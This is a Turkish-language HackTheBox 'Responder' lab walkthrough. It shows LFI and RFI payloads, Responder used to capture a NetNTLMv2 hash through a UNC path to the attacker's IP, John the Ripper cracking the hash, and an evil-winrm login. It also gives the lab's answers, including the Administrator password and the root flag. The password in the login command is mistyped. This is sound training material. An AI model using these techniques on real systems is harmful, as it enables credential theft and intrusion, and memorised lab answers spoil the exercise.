HackTheBox – Başlangıç Noktası Aşaması – Seviye 1/

HTB Labs — Tier 1 — “Responder” Makine Çözümü | Yazan: CyberAlp0

YAZARCyberAlp0
YAYINLANMA TARİHİ4 Temmuz 2026
OKUMA SÜRESİ07 DK
HTB Labs — Tier 1 — “Responder” Makine Çözümü | Yazan: CyberAlp0

Merhaba arkadaşlar, ben CyberAlp0. HTB destekli, Tier 1 seviyesindeki yeni bir çözüm rehberine hoş geldiniz; adı “Responder”. Responder makinesi, şu temel kavramları tanıtmak için tasarlanmıştır: web uygulaması açıkları, NTLM kimlik doğrulamasının kötüye kullanımı ve Windows ortamlarında servisler arası sömürü. Bu lab, görünüşte basit bir Local ve Remote File Inclusion açığının nasıl NTLM kimlik doğrulama sızıntısı ile zincirlenerek bir Windows ana bilgisayarının tamamen ele geçirilebileceğini gösterir.

Yönetici Özeti

İzleyeceğimiz adımların yönetici özeti aşağıdadır:

Aşama I: Tarama

Açık servisleri belirlemek ve hedefin saldırı yüzeyini anlamak için ilk keşif çalışması yapıldı. Ağ taraması iki temel açık servisi ortaya çıkardı: 80 portunda HTTP ve 5985 portunda WinRM (WSMan), bu da Windows tabanlı bir sistem olduğunu gösteriyor.

Aşama II: Numaralandırma

Web numaralandırması, bir page URL parametresiyle kontrol edilen bir dil değiştirme özelliğini ortaya çıkardı. Bu parametrenin Local File Inclusion (LFI) açığına karşı savunmasız olduğu tespit edildi. Bu açığı sömürerek hassas yerel sistem dosyalarına erişilebildi ve bu, hatalı girdi doğrulamasını doğruladı. Yapılan ek testler, uygulamanın uzak dosya yollarını da kabul ettiğini ortaya koydu; bu da potansiyel bir Remote File Inclusion (RFI) durumuna işaret ediyordu.

Uzak kaynakları yüklemeye çalışıldığında, sunucu bir kimlik doğrulama isteği başlattı ve bu da NTLM kimlik doğrulamasının kullanıldığını ortaya çıkardı. Bu davranış, sunucuyu saldırgan kontrolündeki bir ana bilgisayara kimlik doğrulaması yapmaya zorlayarak NTLM challenge-response hash'lerini yakalama fırsatını ortaya koydu.

Aşama III: Sömürü

Sömürü, hedef sunucudan dışarıya NTLM kimlik doğrulama istekleri tetiklemek için RFI açığından yararlanılarak gerçekleştirildi. Saldırgan makinesinde Responder çalıştırılarak Administrator hesabına ait bir NetNTLMv2 hash başarıyla yakalandı. Ardından bu hash, John the Ripper kullanılarak çevrimdışı olarak kırıldı ve Administrator parolası ortaya çıkarıldı.

Geçerli kimlik bilgileri elde edildikten sonra, sisteme uzaktan erişim Evil-WinRM kullanılarak 5985 portu üzerinden sağlandı. Bu, hedef makinede etkileşimli bir PowerShell oturumu sağladı; sisteme tam erişim imkanı vererek root flag'inin elde edilmesini mümkün kıldı.

Girişte daha fazla vakit kaybetmeyelim ve ayrıntılı olarak hacklemeye başlayalım!

Adım 1: Starting Point Labs sunucularına bağlanma.

Hedef makineye saldırabilmek için aynı ağda olmanız gerekir. Sizi hedef makineye bağlanma konusunda adım adım yönlendirecek olan blog yazımı okuyabilirsiniz.

Adım 2: Makineyi başlatma ve görevleri çözmeye başlama.

Görev 1: Web servisine IP adresi ile eriştiğimizde, hangi alan adına yönlendiriliyoruz?

Cevap: Unika.htb

Çözüm:

Makinenin IP adresini tarayıcıya yazdığınızda, sizi şu adrese yönlendireceğini fark edeceksiniz: http://unika.htb

Makinenin IP adresinin http://unika.htb adresine yönlendirilmesi
Makinenin IP adresinin http://unika.htb adresine yönlendirilmesi

Hedefleri taramak, web uygulamasının doğasını anlamak için genellikle attığımız ilk adım olduğundan, hedefi daha iyi anlamak için NmapAutomator aracını kullanacağız.

Web sunucusunun NmapAutomator ile taranması.
Web sunucusunun NmapAutomator ile taranması.

Tarama sonucunda çalışan iki servis olduğunu göreceğiz:

  • İlk servis HTTP olup 80 portu üzerinden çalışıyor
  • İkinci servis wsman olup 5985 portu üzerinden çalışıyor. Web sunucusu büyük olasılıkla bir Windows sunucusudur.

Görev 2: Sunucuda web sayfalarını oluşturmak için hangi betik dili kullanılıyor?

Cevap: PHP

Çözüm:

Kullanılan betik dilini curl komutuyla belirleyebilirsiniz. Aşağıdaki komutu yazın ve yanıtı inceleyin:

curl -I 10.129.8.213
Web sayfalarını oluşturmak için kullanılan betik dilinin PHP olduğunun tespit edilmesi.
Web sayfalarını oluşturmak için kullanılan betik dilinin PHP olduğunun tespit edilmesi.

Görev 3: Web sayfasının farklı dil sürümlerini yüklemek için kullanılan URL parametresinin adı nedir?

Cevap: page

Çözüm:

Tek bir evrensel isim yoktur, ancak bu tür URL parametreleri genellikle dil parametresi (veya yerel ayar parametresi) olarak adlandırılır. Geliştiriciler kendi parametre adlarını seçer. Bizim durumumuzda kullanılan parametreyi belirlemek için, makinenin IP adresini erişmeye çalıştığı web servisine karşılık /etc/hosts dosyasına kaydedin (Görev 1'e göre).

/etc/hosts dosyasını aşağıdaki ekran görüntüsünde gösterildiği gibi nano ile açın:

Alan adının, yerel DNS kaydı olan /etc/hosts dosyasında makine IP adresine karşılık eklenmesi
Alan adının, yerel DNS kaydı olan /etc/hosts dosyasında makine IP adresine karşılık eklenmesi

Alan adını ekledikten sonra, tarayıcıdan unika.htb adresine girin; web sayfasının yüklendiğini göreceksiniz

Web sunucusunun sayfasının yüklenmesi. Dil seçeneğine tıkladığınızda, URL parametresinin page olarak adlandırıldığını fark edeceksiniz.
Web sunucusunun sayfasının yüklenmesi. Dil seçeneğine tıkladığınızda, URL parametresinin page olarak adlandırıldığını fark edeceksiniz.

Web sayfasını görüntüledikten ve dili İngilizceden başka bir dile değiştirdikten sonra, dili gösteren URL parametresinin “page” olarak adlandırıldığını göreceksiniz.

Görev 4: Aşağıdaki değerlerden hangisi page parametresi için bir Local File Include (LFI) açığının sömürülmesine örnek olur: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

Cevap: ../../../../../../../../windows/system32/drivers/etc/hosts

Çözüm:

LFI (Local File Inclusion), bir saldırganın girdileri (genellikle bir URL parametresini) manipüle ederek bir web sitesine sunucunun yerel dosya sisteminden dosyalar yükletebildiği bir web açığıdır.

LFI, hackerların sunucuda erişilebilir olması hiç amaçlanmamış yerel dosyaları okumasına veya çalıştırmasına olanak tanır.

Bizim görevimizde soru, URL'deki parametreleri manipüle edip edemeyeceğinizi ve sunucunun açıklanması amaçlanmayan hassas bilgilerle yanıt verip vermeyeceğini görmenizi test ediyor. Web sayfasında görebileceğiniz gibi URL şudur:

http://unika.htb/index.php?page=french.html

Sorunun arkasındaki amaç, dört değerden hangisinin “page” parametresinin mevcut değeriyle yer değiştirdiğinde hassas bilgilerin açığa çıkmasına neden olacağını görmektir. Göreve göre dört değerimiz var:

1- ../../../../../../../../windows/system32/drivers/etc/hosts

2- minikatz.exe

3- french.html

4- //10.10.14.6/somefile

Cevap ilk değer olacaktır; çünkü “page” parametresinin değerini “french.html” yerine “../../../../../../../../windows/system32/drivers/etc/hosts” olarak değiştirmek, isteğin sunucuya giderek “page” parametresinin değerini çalıştırmasını istemesine neden olur; bu bizim durumumuzda “../../../../../../../../windows/system32/drivers/etc/hosts” değeridir.

Bu, sunucunun “Page” parametresinin değerine yerleştirilen önceden tanımlı yola yönlenmesini sağlar; sonuç olarak sunucu, aşağıdaki ekran görüntüsünde gösterildiği gibi “hosts” dosyasında yazılı olan içerikle yanıt verir.

Web sunucusundaki LFI açığı sömürülerek hosts dosyasının içeriğinin görüntülenmesi.
Web sunucusundaki LFI açığı sömürülerek hosts dosyasının içeriğinin görüntülenmesi.

Görev 5: Aşağıdaki değerlerden hangisi page parametresi için bir Remote File Include (RFI) açığının sömürülmesine örnek olur: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

Cevap: //10.10.14.6/somefile

Çözüm:

LFI ve RFI arasındaki temel farkları bilmeniz gerekir. Daha iyi bir genel bakış için şu tabloya göz atın:

LFI yerel sunucu dosyalarını hedef alır; RFI ise dosyaları saldırgan kontrolündeki uzak bir sunucudan çeker.
LFI yerel sunucu dosyalarını hedef alır; RFI ise dosyaları saldırgan kontrolündeki uzak bir sunucudan çeker.

LFI ve RFI arasındaki farklara dayanarak, doğru cevap //10.10.14.6/somefile olacaktır.

IP adresinin değerini değiştirip yerine makinenin ya da uzak sunucunun IP adresini yazacağınızı unutmayın.
Kendi IP adresimizin yerine yazılması ve hedef sunucunun yanıtını görmek için “somefile” adlı herhangi bir dosyanın çağrılması.
Kendi IP adresimizin yerine yazılması ve hedef sunucunun yanıtını görmek için “somefile” adlı herhangi bir dosyanın çağrılması.

Ekran görüntüsünde görüldüğü gibi, işlemin izinli olmadığı ve reddedildiği belirtiliyor; bu da bu sunucuda çalışan bir kimlik doğrulama süreci olduğu anlamına geliyor

Görev 6: NTLM neyin kısaltmasıdır?

Cevap: New Technology Lan Manager

Çözüm:

Belirtmekte fayda var ki NTLM, Microsoft tarafından Windows ağları için geliştirilmiş eski bir kimlik doğrulama protokolüdür. Öncelikle Windows NT ve erken dönem Active Directory ortamlarında, ağ üzerinden düz metin parolalar göndermeden kullanıcı kimliklerini doğrulamak için kullanılıyordu.

NTLM, geriye dönük uyumluluk için hâlâ desteklenmektedir, ancak modern kurumsal ortamlar için eski ve güvensizdir.

Görev 7: Ağ arayüzünü belirtmek için Responder aracında hangi flag'i kullanırız?

Cevap: -I

Çözüm:

Responder'da, ağ arayüzünü belirtmek için kullanılan flag -I'dir. eth0 üzerinde herhangi bir olayı dinleyeceksek eth0 arayüzünü kullanırız. VPN üzerinden çalışıyorsak tun0 veya kullandığımız arayüzler üzerinden bağlanırız.

sudo responder -I tun0

Sisteminizdeki ağ arayüzlerini belirlemek için aşağıdaki komutu çalıştırın:

ifconfig or ip a 
Sistemimizdeki ağ arayüzlerinin listesi.
Sistemimizdeki ağ arayüzlerinin listesi.

Görev 8: Bir NetNTLMv2 challenge/response alıp, herhangi birinin aynı yanıtı üretip üretmediğini görmek için milyonlarca parolayı deneyen çeşitli araçlar vardır. Böyle bir araç genellikle john olarak anılır, ama tam adı nedir?

Cevap: John The Ripper

Çözüm:

John The Ripper bir parola kırma aracıdır; genellikle NetNTLMv2 challenge/response hash'lerini kırmak için kullanılır ve şunları gerçekleştirir: sözlük ve brute-force saldırıları.

Görev 9: administrator kullanıcısının parolası nedir?

Cevap: badminton

Çözüm:

Administrator parolasını ve makinenin flag'ini nasıl elde edebileceğimizi anlamak için hedef hakkında şimdiye kadarki bulguları özetleyelim.

Birincisi: Tarama sonucunda, sunucunun büyük olasılıkla Windows sunucusu üzerinde çalıştığını gördük.

İkincisi: Numaralandırma aşamasında, web sunucusunun LFI'ye karşı savunmasız olduğunu, bunun da bize hedef sunucudaki uzak ve barındırılan dosyaları görüntüleme imkanı verdiğini görüyoruz. Ayrıca web sunucusu büyük olasılıkla RFI'ye karşı da savunmasızdır; bu da bize uzak sunuculardaki uzak dosyaları hedef sunucularda çalıştırma imkanı verir.

Üçüncüsü: Uzak bir sunucudan herhangi bir dosya çağrılmaya çalışıldığında Windows sunucusunda çalışan bir kimlik doğrulama süreci vardır.

Şimdiye kadar topladığımız bilgilere dayanarak, sunucuda çalışan kimlik doğrulama türünü görmeye çalışacağız. Bunun için, ağ arayüzümüz üzerinden çalışan IP adresimize gelen olayları dinlemek amacıyla responder aracını kullanacağız. Makinemizden herhangi bir dosya çağrılmaya çalışıldığında, hedefin sunucusu bu işlemi doğrulamaya çalışacak ve bir yanıt dönecektir.

Arka planda gerçekleşen akışın bir dökümü.
Arka planda gerçekleşen akışın bir dökümü.

Belirttiklerimize dayanarak, responder'ı makinemizde çalıştıracak ve URL'yi şu şekilde manipüle ettiğimizde hedefin web sunucularından gelen olayları izleyeceğiz:

http://unika.htb/index.php?page=//10.10.14.192/somefile

Uzak sunucudan “somefile” adlı bir dosyayı, yani sunucu IP'miz olan 10.10.14.192 üzerinden yüklemesinin istenmesi
Uzak sunucudan “somefile” adlı bir dosyayı, yani sunucu IP'miz olan 10.10.14.192 üzerinden yüklemesinin istenmesi

Responder arka planda çalışacak ve kullanılan kimlik doğrulama hakkında bize daha fazla bilgi verecek; ayrıca web sunucusu ile erişim için gereken kimlik bilgileri hakkında da daha fazla bilgi sağlayacaktır.

Web sunucusunun yanıtından elde edilen hash'lenmiş kimlik bilgileri.
Web sunucusunun yanıtından elde edilen hash'lenmiş kimlik bilgileri.

JohnTheRipper kullanarak hash'i çözeceğiz. “Administrator” kelimesinden başlayarak hash'i kopyalayın ve bir txt dosyasına yapıştırın, ardından hash'e brute force uygulamak için aşağıdaki komutu kullanın.

john -w=/usr/share/wordlists/rockyou.txt "Hash File location"
Parolanın johntheripper ile kırılması.
Parolanın johntheripper ile kırılması.

“Administrator” parolasının “badminton” olduğunu göreceksiniz

Görev 10: Ele geçirdiğimiz parolayı kullanarak Responder makinesine uzaktan erişmek için bir Windows servisini (yani makinede çalışan bir servisi) kullanacağız. Bu servis hangi TCP portunu dinler?

Cevap: 5985

Çözüm:

İlk adımda gerçekleştirdiğimiz taramaya göre, “wsman” adlı ve 5985 portu üzerinden çalışan bir servis olduğunu fark edeceğiz. Şu adlı bir araç kullanacağız: Evil-WinRM. Bu araç, bir post-exploitation / uzaktan erişim aracıdır. Sızma testlerinde bir Windows makinesinde etkileşimli bir PowerShell kabuğu elde etmek için WinRM (Windows Remote Management) aracılığıyla kullanılır.

Web sunucusunun NmapAutomator ile taranması.
Web sunucusunun NmapAutomator ile taranması.

Görev 11: Root flag'ini gönderin

Cevap: ea81b7afddd03efaa0945333ed147fac

Çözüm:

Evil-WinRM aracını kullanarak Windows sunucusuna uzaktan erişim sağlayacağız. Aşağıdaki komutu yazın:

evil-winrm -i 10.129.95.234 -u administrator -p padminton
Web sunucusuna evil-winrm aracıyla bağlanma (Makineyi yeniden başlattığım için IP değişti).
Web sunucusuna evil-winrm aracıyla bağlanma (Makineyi yeniden başlattığım için IP değişti).

Bağlantıdan sonra, users dizinine ulaşana kadar iki dizin geriye gidin, ardından “mike” adlı kullanıcının dizinine girin ve masaüstüne gidin. flag.txt dosyasını orada bulacaksınız.

HTB — Tier 1 — Starting Point aşamasındaki “Responder” makinesinin root flag'inin ele geçirilmesi.
HTB — Tier 1 — Starting Point aşamasındaki “Responder” makinesinin root flag'inin ele geçirilmesi.
Flag'in içeriğini “type flag.txt” komutuyla görüntüleyebileceğinizi unutmayın

Makinenin root flag'i şudur: “ea81b7afddd03efaa0945333ed147fac”

HTB — Tier 1 — Starting Point aşamasındaki “Responder” makinesinin çözümüne dair blog yazımı okumaktan keyif aldığınızı umuyorum.

Başka bir write-up'ta görüşmek üzere!

[ #NTLM ][ #Kali Linux ][ #Web Application Penetration Testing ][ #cyberalp0 ][ #cyberskii ][ #Penetration Testing ][ #OSCP Preperations ][ #hackthebox ][ #Web Application Security ][ #responder ][ #bug bounty ]